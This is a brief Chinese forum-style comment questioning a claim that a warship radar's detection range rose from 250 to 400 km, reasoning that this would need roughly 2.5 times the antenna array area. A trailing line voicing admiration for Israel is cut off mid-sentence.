这个说法有资料吗？探测距离如果要从250公里升级到400公里，天线阵面面积要增加到2.5倍，我从两舰的照片上看不出这么大的差距。
不能不服以色列，